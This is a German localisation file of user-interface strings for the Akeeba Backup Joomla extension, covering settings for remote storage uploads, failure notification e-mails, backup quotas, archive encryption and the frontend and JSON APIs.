COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_DESCRIPTION="Lädt das Backup-Archiv in jeden Speicherdienst hoch, der das WebDAV-Protokoll unterstützt.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_TITLE="Über WebDAV hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_DESCRIPTION="Ein Dateisucher, der für das Sichern von Websites mit Verzeichnissen mit Hunderten von Dateien optimiert ist (z. B. Blogs und Nachrichtenportale)"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_TITLE="Großer Website-Scanner"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_DESCRIPTION="Balanciert intelligent Scan-Geschwindigkeit und Zeitüberschreitungsvermeidung"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_TITLE="Intelligenter Scanner"
COM_AKEEBABACKUP_CONFIG_ERR_DECRYPTION="Einstellungen konnten nicht entschlüsselt werden. Ihr Server unterstützt keine Einstellungsverschlüsselung oder die Verschlüsselungsschlüsseldatei wurde geändert oder gelöscht."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_DESCRIPTION="Wenn aktiviert, wird der Datenbank-Dump aus erweiterten INSERT-Anweisungen bestehen, d. h. eine einzelne Anweisung zum Wiederherstellen mehrerer Datenzeilen. Es wird dringend empfohlen, diese Option aktiviert zu lassen, da sie den Wiederherstellungsprozess beschleunigt und Abfragekontingentlimits auf restriktiven Hosts umgeht."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_TITLE="Erweiterte INSERTs generieren"

COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_SEPARATOR="<strong>Fehlgeschlagene Uploads prüfen</strong>"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_LABEL="E-Mail-Adresse für fehlgeschlagene Uploads"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_DESC="Senden Sie die E-Mail über fehlgeschlagene Uploads an diese Adresse. Lassen Sie das Feld leer, um alle Super-Benutzer zu benachrichtigen."
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_LABEL="Betreff der E-Mail für fehlgeschlagene Uploads"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_DESC="Der Betreff der E-Mails, die Sie über fehlgeschlagene Uploads informieren. Lassen Sie es leer, um den Standard zu verwenden. Sie können alle Variablen von Akeeba Backup verwenden, die Sie für die Benennung von Archivdateien verwenden können, z. B. [HOST] und [DATE]"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_LABEL="E-Mail-Text für fehlgeschlagene Uploads"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_DESC="Lassen Sie es leer, um den Standard zu verwenden. Sie können alle Variablen von Akeeba Backup verwenden, die Sie für die Benennung von Archivdateien verwenden können, z. B. [HOST] und [DATE]."

COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_DESC="E-Mail an diese Adresse senden (leer lassen, um alle Super-Benutzer zu benachrichtigen)"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_LABEL="E-Mail-Adresse"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_DESC="Lassen Sie es leer, um den Standard zu verwenden. Sie können alle Variablen von Akeeba Backup verwenden, die Sie für die Benennung von Archivdateien verwenden können, z. B. [HOST] und [DATE]."
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_LABEL="E-Mail-Text"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_DESC="Lassen Sie es leer, um den Standard zu verwenden. Sie können alle Variablen von Akeeba Backup verwenden, die Sie für die Benennung von Archivdateien verwenden können, z. B. [HOST] und [DATE]"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_LABEL="E-Mail-Betreff"
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_DESC="Ermöglicht die Überprüfung auf fehlgeschlagene Backups über eine Frontend-Planungs-URL. Bitte denken Sie daran, zu Akeeba Backup zu gehen, auf Optionen zu klicken und dann auf die Registerkarte Frontend. Setzen Sie „Legacy-Frontend-Backup-API aktivieren (Remote-CRON-Jobs)" auf Ja, um diese Funktion zu aktivieren."
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_LABEL="Prüfung auf fehlgeschlagene Backups vom Frontend aktivieren"

COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_DESC="Ein Backup gilt nach dieser Anzahl von Sekunden Inaktivität als hängengeblieben (fehlgeschlagen).<br/>ÄNDERN SIE DIESEN WERT NICHT, ES SEI DENN, SIE WISSEN, WAS SIE TUN!"
COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_LABEL="Zeitüberschreitung für hängengebliebene Backups"
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_DESC="Lassen Sie es leer, um den Standard zu verwenden. Sie können alle Variablen von Akeeba Backup verwenden, die Sie für die Benennung von Archivdateien verwenden können, z. B. [HOST] und [DATE]. Sie können auch [PROFILENUMBER] für die Nummer des aktuellen Profils, [PROFILENAME] für den Namen des aktuellen Profils, [PARTCOUNT] für die Anzahl der insgesamt generierten Teile des Backup-Archivs, [FILELIST] für eine Liste der Teile des Backup-Archivs und [REMOTESTATUS] für eine Angabe darüber verwenden, ob der Upload in den Remote-Speicher erfolgreich abgeschlossen wurde."
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_LABEL="E-Mail-Text"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_DESC="Lassen Sie es leer, um den Standard zu verwenden. Sie können alle Variablen von Akeeba Backup verwenden, die Sie für die Benennung von Archivdateien verwenden können, z. B. [HOST] und [DATE]"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_LABEL="E-Mail-Betreff"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DEFAULT="Standardverhalten von Joomla!"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DESC="Das Backup-Datum und die -Uhrzeit - wie im Dateinamen, der Standardbeschreibung und in E-Mails aufgezeichnet - werden in dieser Zeitzone ausgedrückt. Diese Option betrifft alle Backup-Ursprünge, d. h. alle Backups, unabhängig davon, wie sie erstellt wurden (über Akeeba Backup selbst, die Remote-JSON-API usw.)."
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_LABEL="Backup-Zeitzone"
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_DESC="Senden Sie eine Benachrichtigungs-E-Mail nach der Durchführung eines Backups mit der Frontend-Backup-Funktion (Legacy API) oder JSON API."
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_LABEL="E-Mail nach Backup-Abschluss"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_ALWAYS="Immer"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_DESC="Wann soll die E-Mail beim Backup-Abschluss gesendet werden? Immer bedeutet jedes Mal, wenn ein Backup abgeschlossen wurde. Upload fehlgeschlagen bedeutet, dass die E-Mail nur gesendet wird, wenn das Backup abgeschlossen ist, aber der Upload in den Remote-Speicher nicht erfolgreich abgeschlossen wurde. Wenn das Backup fehlschlägt, kann von dieser Funktion keine E-Mail gesendet werden; lesen Sie die Seite „Automatische Backups planen" für Informationen zum Empfang von E-Mails über fehlgeschlagene Backups."
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_FAILEDUPLOAD="Upload fehlgeschlagen"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_LABEL="Wann die E-Mail senden"
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_DESC="<strong>Diese Optionen gelten nur für Akeeba Backup Professional</strong>. Steuern Sie die Remote- und geplanten Funktionsoptionen für Akeeba Backup. Für weitere Informationen zur Planung von Backups lesen Sie bitte die Seite „Planung von Backups" in Akeeba Backup Professional oder unsere Dokumentation."
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_LABEL="Frontend-Backup"
COM_AKEEBABACKUP_CONFIG_FTPTEST_BADPREFIX="Sie sollen das Präfix ftp:// NICHT zu Ihrem FTP-Hostnamen hinzufügen. Bitte entfernen Sie das Präfix ftp:// und versuchen Sie es erneut."
COM_AKEEBABACKUP_CONFIG_FTPTEST_NOUPLOAD="Akeeba Backup konnte eine Verbindung zu Ihrem Server herstellen, konnte aber keine Testdatei hochladen. Der Backup-Upload könnte fehlschlagen."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_DESCRIPTION="Wird automatisch ausgefüllt, wenn Sie Schritt 1 der Authentifizierung oben abschließen. Wenn Sie eine andere Website mit demselben Google Drive-Konto verknüpfen, kopieren Sie NICHT den Zugriffstoken und führen Sie NICHT die Authentifizierung durch. Kopieren Sie stattdessen einfach den Aktualisierungstoken von der vorherigen Website auf diese."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_TITLE="Zugriffstoken"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_DESCRIPTION="Das Verzeichnis in Google Drive zum Speichern der Backup-Archive. Bitte verwenden Sie Schrägstriche. Richtig: some/thing. Falsch: some\\thing. Ein einzelner Schrägstrich bedeutet, dass Archive im Stammverzeichnis des Laufwerks gespeichert werden. LESEN SIE DIE DOKUMENTATION: Pfade in Google Drive sind mehrdeutig!"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTOKEN_TITLE="Aktualisierungstoken"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTEAMDRIVES_TITLE="Liste der Laufwerke neu laden"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_DESCRIPTION="Welches Google Drive Sie zum Speichern Ihrer Dateien verwenden möchten. Sie müssen die Authentifizierung abschließen, bevor diese Liste gefüllt wird. Dies ist nur sinnvoll, wenn Sie Zugang zu Google Team Drives haben (z. B. G Suite Business oder Enterprise-Plan-Benutzer). Falls unsicher, verwenden Sie die Option „Google Drive (persönlich)"."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL="Google Drive (persönlich)"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_TITLE="Laufwerk"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_TITLE="In „Mit mir geteilt"-Ordner hochladen"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_DESCRIPTION="Wenn aktiviert, sucht Akeeba Backup nach Ordnern in der Sammlung „Mit mir geteilt", bevor es nach einem Ordner gleichen Namens in Ihrem Laufwerk sucht. Dies ist viel langsamer und könnte dazu führen, dass in den falschen Ordner hochgeladen wird, wenn viele geteilte Ordner mit demselben Namen in Ihrem Google Drive-Konto vorhanden sind."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_DESCRIPTION="Ihr Google Storage-Zugriffsschlüssel, der Ihnen über das Google Cloud Storage-Schlüsselverwaltungstool zur Verfügung gestellt wird (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_TITLE="Zugriffsschlüssel"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_DESCRIPTION="Ihr Google Storage-Bucket-Name. Stellen Sie sicher, dass er genau so eingegeben wird, wie er in der Google Cloud Storage Browser-Webanwendung angezeigt wird (https://sandbox.google.com/storage)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_DESCRIPTION="Das Verzeichnis in Ihrem Bucket, in dem die Backup-Archive gespeichert werden. Lassen Sie es leer, um Dateien im Stammverzeichnis des Buckets zu speichern."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_DESC="Fügen Sie hier den Inhalt der JSON-Anmeldeinformationsdatei ein, die die Google Cloud Console beim Einrichten des Dienstkontos für die Backup-Software erstellt hat. Denken Sie daran, die geschweiften Klammern am Anfang und Ende des Textes einzuschließen."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_TITLE="Inhalt von googlestorage.json (Dokumentation lesen)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_DESCRIPTION="Wenn aktiviert, versucht Akeeba Backup, den Bucket-Namen in Kleinbuchstaben umzuwandeln, d. h. MeinBucket wird in meinbucket umgewandelt. Wenn Sie einen Bucket mit Großbuchstaben erstellt haben, z. B. MeinNeuerBucket, deaktivieren Sie diese Option und stellen Sie sicher, dass der Bucket-Name genau so eingegeben wird, wie er in der Google Cloud Storage Browser-Webanwendung erscheint (https://sandbox.google.com/storage)."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_TITLE="Bucket-Name in Kleinbuchstaben"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_DESCRIPTION="Ihr Google Storage-Geheimschlüssel, der Ihnen über das Google Cloud Storage-Schlüsselverwaltungstool zur Verfügung gestellt wird (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_TITLE="Geheimschlüssel"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_DESCRIPTION="Wenn aktiviert, wird beim Hochladen Ihrer Dateien eine sichere (HTTPS) Verbindung verwendet. Dies erhöht zwar die Sicherheit der übertragenen Daten, erhöht aber auch die Möglichkeit eines Backup-Fehlers aufgrund von Zeitüberschreitung."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_TITLE="SSL verwenden"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_COLDLINE="Coldline Storage"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_DESCRIPTION="Ändern Sie die Speicherklasse der hochgeladenen Backup-Archive. „Keine" bedeutet, dass die Dateien mit der Standardspeicherklasse gespeichert werden, die in Ihrem Bucket angegeben ist. Beachten Sie, dass andere Optionen als Standard möglicherweise günstiger zu speichern sind, aber zusätzliche Gebühren anfallen können, wenn Sie sie herunterladen oder löschen. Bitte konsultieren Sie Google für Preisinformationen."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NEARLINE="Nearline Storage"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NONE="Keine (Bucket entscheidet)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_STANDARD="Standard Storage"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_TITLE="Speicherklasse"
COM_AKEEBABACKUP_CONFIG_HEADER_BASIC="Grundkonfiguration"
COM_AKEEBABACKUP_CONFIG_HEADER_CONFWIZ="Soll Akeeba Backup sich selbst konfigurieren?"
COM_AKEEBABACKUP_CONFIG_HEADER_OPTIONALFILTERS="Optionale Filter"
COM_AKEEBABACKUP_CONFIG_HEADER_QUOTA="Kontingentverwaltung"
COM_AKEEBABACKUP_CONFIG_HEADER_TUNING="Feinabstimmung"
COM_AKEEBABACKUP_CONFIG_INSTALLER_DESCRIPTION="Bei einem vollständigen Website-Backup bettet Akeeba Backup das hier definierte Wiederherstellungsskript in das Archiv ein. Dies ermöglicht die Wiederherstellung Ihrer Website von Grund auf, ohne Ihr CMS oder Akeeba Backup zu installieren, selbst wenn Ihre Website oder Ihr Server vollständig zerstört ist"
COM_AKEEBABACKUP_CONFIG_INSTALLER_TITLE="Eingebettetes Wiederherstellungsskript"
COM_AKEEBABACKUP_CONFIG_JPS_KEY_DESCRIPTION="Dieser Schlüssel wird zum Verschlüsseln des Archiv-Inhalts verwendet. Der Schlüssel unterscheidet zwischen Groß- und Kleinschreibung, d. h. ABC, abc und Abc sind drei verschiedene Passwörter. Bewahren Sie eine Kopie des Passworts an einem sicheren Ort auf! Wenn Sie es verlieren, gibt es keine Möglichkeit, es wiederherzustellen."
COM_AKEEBABACKUP_CONFIG_JPS_KEY_TITLE="Verschlüsselungsschlüssel"
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_DESCRIPTION="Wenn aktiviert (Standard), wird Ihr Passwort auf einen kryptografischen Schlüssel erweitert, der im gesamten Archiv verwendet wird. Dies ist schnell, aber im sehr unwahrscheinlichen Fall, dass ein Angreifer mit ausreichenden Ressourcen es schafft, den kryptografischen Schlüssel aus einem verschlüsselten Block in der Datei zurückzuentwickeln – ohne Ihr Passwort selbst mit Brute-Force zu knacken – kann er das gesamte Backup-Archiv entschlüsseln. Wenn deaktiviert, wird für jeden verschlüsselten Block ein anderer kryptografischer Schlüssel aus Ihrem Passwort abgeleitet, was VIEL langsamer ist, aber Sie gegen diese Art von Angriff schützt und den Angreifer zwingt, das Passwort mit Brute-Force zu knacken, was viel langsamer ist."
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_TITLE="Archivweite Schlüsselerweiterung"
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_DESC="Die Akeeba Backup JSON API ermöglicht es Ihnen, Backups zu erstellen und zu verwalten sowie Akeeba Backup-Optionen remote zu verwalten. Sie müssen diese Option aktivieren, wenn Sie planen, Backups z. B. mit Akeeba Remote CLI, Akeeba UNiTE und Backup-Planungsdiensten zu erstellen, herunterzuladen oder zu verwalten."
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_LABEL="JSON API (Remote-Backup) aktivieren"
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_DESCRIPTION="Wenn ein Verzeichnis mehr als diese Anzahl von Dateien oder Verzeichnissen enthält, gilt es als \"groß\". Daher versucht Akeeba Backup, es im nächsten Schritt erneut zu scannen, um Backup-Zeitüberschreitungen zu vermeiden. Ein zu kleiner Wert verlangsamt das Backup erheblich. Erhöhen Sie den Wert – es sei denn, Sie erhalten Zeitüberschreitungsfehler –, um das Backup zu beschleunigen."
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_TITLE="Schwellenwert für große Verzeichnisse"
COM_AKEEBABACKUP_CONFIG_LARGEFILE_DESCRIPTION="Dateien, die größer als dieser Schwellenwert sind, werden in einem eigenen Schritt gepackt, um die Möglichkeit einer Zeitüberschreitung zu vermeiden. Werte zwischen 2 und 10 MB funktionieren auf den meisten Servern am besten."
COM_AKEEBABACKUP_CONFIG_LARGEFILE_TITLE="Schwellenwert für große Dateien"
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_DESCRIPTION="Wie viele Verzeichnisse in jedem Schritt gescannt werden sollen. Empfohlene Einstellung: 50. Größere Werte machen das Backup geringfügig schneller, aber die Wahrscheinlichkeit einer Zeitüberschreitung steigt."
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_TITLE="Batch-Größe für Verzeichnis-Scanning"
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_DESCRIPTION="Wie viele Dateien in jedem Schritt gescannt und komprimiert werden sollen. Empfohlene Einstellung: 100. Größere Werte machen das Backup geringfügig schneller, aber die Wahrscheinlichkeit einer Zeitüberschreitung oder eines Speichermangels steigt."
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_TITLE="Batch-Größe für Datei-Scanning"
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_AFTER="Nachdem Akeeba Backup die Konfiguration abgeschlossen hat, können Sie ein Backup erstellen oder die Konfiguration manuell feinabstimmen."
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_INTRO="Es scheint, dass Sie Akeeba Backup noch nicht konfiguriert haben. Klicken Sie auf die Schaltfläche des Konfigurationsassistenten unten, um es sich selbst konfigurieren zu lassen."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_DESC="Die Legacy-Frontend-Backup-API ermöglicht es Ihnen, geplante Backups mit URL-Zugriffstools wie wget oder curl zu erstellen. Sie müssen diese Option aktivieren, wenn Sie Backups mit dem CRON-Server Ihres Hosts über wget oder curl erstellen möchten; oder wenn Sie einen Drittanbieter-CRON-Dienst wie WebCRON.org nutzen möchten. Wann immer möglich, empfehlen wir die Verwendung des nativen CLI-CRON-Skripts oder der Akeeba Backup JSON API, da diese viel sicherere Optionen sind."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_LABEL="Legacy-Frontend-Backup-API aktivieren (Remote-CRON-Jobs)"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DEBUG="Alle Informationen und Debug"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DESCRIPTION="Diese Option bestimmt, wie ausführlich das Backup-Protokoll sein wird."
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_ERROR="Nur Fehler"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_INFO="Alle Informationen"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_NONE="Keine"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_TITLE="Protokollebene"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_WARNING="Fehler und Warnungen"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_DESCRIPTION="Alte Backups werden automatisch auf der Grundlage des Erstellungsdatums entfernt. WARNUNG: WENN SIE DIES AKTIVIEREN, WERDEN ALLE ANDEREN KONTINGENTEINSTELLUNGEN (ANZAHL UND GRÖSSE) IGNORIERT."
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_TITLE="Maximales Backup-Alters-Kontingent aktivieren"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_DESCRIPTION="Backups, die an diesem Tag des Monats erstellt wurden, werden nicht gelöscht. Lassen Sie die Standardeinstellung, 1, um immer die Backups zu erhalten, die am 1. Tag des Monats erstellt wurden"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_TITLE="Backups nicht löschen, die an diesem Tag des Monats erstellt wurden"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_DESCRIPTION="Backups, die älter als diese Anzahl von Tagen sind, werden automatisch gelöscht. Lassen Sie die Standardeinstellung, 31, um alle Backups des letzten Monats aufzubewahren"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_TITLE="Maximales Backup-Alter in Tagen"
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_DESCRIPTION="Jeder Akeeba Backup-Schritt dauert <em>höchstens</em> so lange, wie hier definiert. Verwenden Sie einen Wert, der unter der maximalen PHP-Ausführungszeit liegt. Normalerweise ist die Einstellung auf 10 Sekunden ausreichend, außer auf sehr restriktiven Hosts.<strong>Tipp</strong>: Wählen Sie „Benutzerdefiniert" und geben Sie Ihren gewünschten Wert ein, wenn er nicht in der Liste ist."
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_TITLE="Maximale Ausführungszeit"
COM_AKEEBABACKUP_CONFIG_MAXPACKET_DESCRIPTION="Die maximale Größe in Bytes jeder erweiterten INSERT-Anweisung. Es wird empfohlen, sie niedrig genug zu halten, damit MySQL beim Wiederherstellen Ihres Datenbank-Dumps keinen Fehler auslöst."
COM_AKEEBABACKUP_CONFIG_MAXPACKET_TITLE="Maximale Paketgröße für erweiterte INSERTs"
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_DESCRIPTION="Jeder Akeeba Backup-Schritt dauert <em>mindestens</em> so lange, wie hier definiert. Dies ist erforderlich, um Anti-DoS-Sicherheitslösungen zu umgehen. Wenn Sie 403-Forbidden- oder AJAX-Fehler erhalten, erhöhen Sie bitte diese Einstellung. Das Setzen auf 0 deaktiviert diese Funktion.<br/><br/><strong>Tipp</strong>: Wählen Sie „Benutzerdefiniert" und geben Sie Ihren gewünschten Wert ein, wenn er nicht in der Liste ist."
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_TITLE="Mindestausführungszeit"
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_DESCRIPTION="Wenn aktiviert, versucht Akeeba Backup, diese erweiterten MySQL 5-Datenbankentitäten zu sichern. Wenn Ihr Backup während der Backup-Phase hängt, müssen Sie dies möglicherweise deaktivieren."
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_TITLE="PROCEDUREs, FUNCTIONs und TRIGGERs sichern"
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TIP="Entfernt USING BTREE und USING HASH aus den Tabellenindex-Definitionen in Dump-Dateien. Dies ist erforderlich für die Wiederherstellung auf Servern, auf denen eine der Indexierungs-Engines deaktiviert ist (z. B. auf neuesten XAMPP-Versionen). WARNUNG! DIES KANN WIEDERHERSTELLUNGSPROBLEME AUF EINIGEN SERVERN VERURSACHEN."
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TITLE="Index-Engine überspringen"
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_DESCRIPTION="Wenn aktiviert, verfolgt Akeeba Backup keine Abhängigkeiten zwischen Tabellen und Views. Verwenden Sie dies nur, wenn Sie Hunderte von Datenbanktabellen haben und keine MySQL VIEWs, FUNCTIONs, PROCEDUREs, TRIGGERs oder Tabellen mit den (extrem selten verwendeten) TEMPORARY-, MEMORY-, MERGE- oder FEDERATED-Engines verwenden."
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_TITLE="Keine Abhängigkeitsverfolgung"
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_DESCRIPTION="Gesamtzahl der veralteten Einträge (Backups, deren Dateien gelöscht wurden), die auf der Sicherungsverwaltungsseite behalten werden sollen. Auf 0 setzen für kein Limit."
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_TITLE="Zu behaltende veraltete Einträge"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TITLE="Veraltete Protokolldateien löschen"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DESCRIPTION="Löscht automatisch die Protokolldateien erfolgreicher Backup-Einträge. Die Protokolldatei des neuesten Backup-Eintrags wird bei Berechnungen berücksichtigt, aber niemals entfernt. Wenn Ihr Backup-Profil eine andere Nachbearbeitungsengine als Keine oder Per E-Mail senden hat, nehmen nur Einträge mit dem Remote-Backup-Status an dieser Protokolldateikontingenteinstellung teil. Wenn Ihr Backup-Profil die Nachbearbeitungsengine Keine oder Per E-Mail senden hat, nehmen nur Einträge mit dem OK- oder Remote-Backup-Status an dieser Protokolldateikontingenteinstellung teil. Diese Funktion wird nach dem Kontingent für veraltete Einträge ausgeführt; das Kontingent für veraltete Einträge kann ebenfalls alte Protokolldateien entfernen."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_TITLE="Typ des Kontingents für veraltete Protokolldateien"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DESCRIPTION="Wählen Sie die Methode aus, die verwendet wird, um zu bestimmen, welche alten Protokolldateien entfernt werden sollen."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_SIZE="Maximale Größe"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_COUNT="Anzahl"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DAYS="Maximales Alter"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_TITLE="Anzahl der Protokolldateien"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_DESCRIPTION="Wie viele Protokolldateien behalten werden sollen. Die Protokolldatei des zuletzt erstellten Backups kann in der Zählung berücksichtigt werden, wird aber niemals gelöscht. Nur die Protokolldateien erfolgreicher Backup-Einträge werden für die Entfernung berücksichtigt."
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_TITLE="Protokolldateigröße (Megabyte)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_DESCRIPTION="Die maximale Gesamtgröße der zu behaltenden Protokolldateien. Die Protokolldatei des zuletzt erstellten Backups kann bei der Berechnung berücksichtigt werden, wird aber niemals gelöscht. Nur die Protokolldateien erfolgreicher Backup-Einträge werden für die Entfernung berücksichtigt."
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_TITLE="Alter der Protokolldateien (Tage)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_DESCRIPTION="Das maximale Alter in Tagen der zu behaltenden Protokolldateien. Die Protokolldatei des zuletzt erstellten Backups wird niemals gelöscht. Nur die Protokolldateien erfolgreicher Backup-Einträge werden für die Entfernung berücksichtigt."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_DESCRIPTION="Wird automatisch ausgefüllt, wenn Sie Schritt 1 der Authentifizierung oben abschließen. Teilen Sie NICHT dasselbe Token auf vielen Websites. Authentifizieren Sie stattdessen jede Website separat."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_TITLE="Zugriffstoken"
